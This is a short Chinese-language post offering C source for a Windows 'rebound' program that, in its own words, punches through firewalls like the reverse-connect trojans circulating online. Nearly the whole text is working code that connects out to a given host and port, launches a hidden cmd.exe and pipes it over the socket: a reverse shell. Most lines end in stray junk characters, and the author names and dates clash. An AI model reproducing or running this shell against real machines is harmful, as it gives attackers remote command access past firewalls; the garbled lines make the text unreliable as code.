这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WZ.d"EE"
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/* ============================== Salu[)+?
Rebound port in Windows NT ^iaeY
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By wind,2006/7 Q:iW k6
===============================*/ 4fDo }~
#include KR
#include ,v"/3Ff{,
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#pragma comment(lib,"wsock32.lib") V/j]UK0$
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void OutputShell(); <`dF~
SOCKET sClient; V/5hEo Dt
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qA- ya6
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void main(int argc,char **argv) oz}p]l7
{ FNZB M
WSADATA stWsaData; FswMEf-|
int nRet; 1B3,lYBM
SOCKADDR_IN stSaiClient,stSaiServer; V07x+ovq
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if(argc != 3) @LY 5]og
{ $Z;HE/3
printf("Useage:\n\rRebound DestIP DestPort\n"); A!v-[AI[
return; XEqg%f
} .}fc*2.'
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WSAStartup(MAKEWORD(2,2),&stWsaData); f{e*R#+&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $8&HpX#h$
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stSaiClient.sin_family = AF_INET; _lQ+J=J$.R
stSaiClient.sin_port = htons(0); 1at$_\{.(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "xdJ9Z-B
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *9^CgLF
{ |PN-,f{ -
printf("Bind Socket Failed!\n"); =nnS X-x
return; >ge-yK 1
} [[D}vL8d
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stSaiServer.sin_family = AF_INET; eEsEW<su
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Oe9{`~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^OG^%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jTws0=F*
{ IJ,,aCj4g
printf("Connect Error!"); LWbWj ^
return; uMsKF %m
} -lL*WA`
OutputShell(); (XqeX(s
} =mqV&FgRo
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void OutputShell() tzpGKhrk6
{ *ep!gT*4
char szBuff[1024]; \g4\a?i
SECURITY_ATTRIBUTES stSecurityAttributes; D~f.)kkC4
OSVERSIONINFO stOsversionInfo; =|3L'cDC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #<'/sqL
STARTUPINFO stStartupInfo; >^J!Z~;L)
char *szShell; 4d]
PROCESS_INFORMATION stProcessInformation; (f#W:]o/
unsigned long lBytesRead; g8kw|BgnL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >Dtw^1i
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cjN4U [
stSecurityAttributes.lpSecurityDescriptor = 0; Tao lX*$5
stSecurityAttributes.bInheritHandle = TRUE; Kg](kP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %oor7 -l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r LfS9H
*fd` .}
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oub4/0tN,~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LnJ7i"Q
stStartupInfo.wShowWindow = SW_HIDE; bfpW^y
stStartupInfo.hStdInput = hReadPipe; [2\`Wh:%P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JAiV7v4&R
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GetVersionEx(&stOsversionInfo); _^'k_a
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switch(stOsversionInfo.dwPlatformId) *E.
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case 1: 41uSr 1
szShell = "command.com"; 9MYt4
break; 8c/Ii"1
default: LAwS8t',
szShell = "cmd.exe"; v'@LuF'e8
break; [&`>&u@MK
} eqf~5/Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *{Z!m@?
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send(sClient,szMsg,77,0); RI*%\~6t?
while(1) w6yeX<!ll
{ L%8"d6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v4.V%tg!
if(lBytesRead) |$w-}$jq5
{ >5gzo6j/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6FmgK"t8
send(sClient,szBuff,lBytesRead,0);
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} :OZhEBL&b
else }wb;ulN)
{ yTvK)4&
lBytesRead=recv(sClient,szBuff,1024,0); .R"L$V$RU.
if(lBytesRead<=0) break; Cwh;+3?C|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lKwcT!Q4
} #P@r[VZ{6
} "|%fAE
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return; ,5?MRqCM
}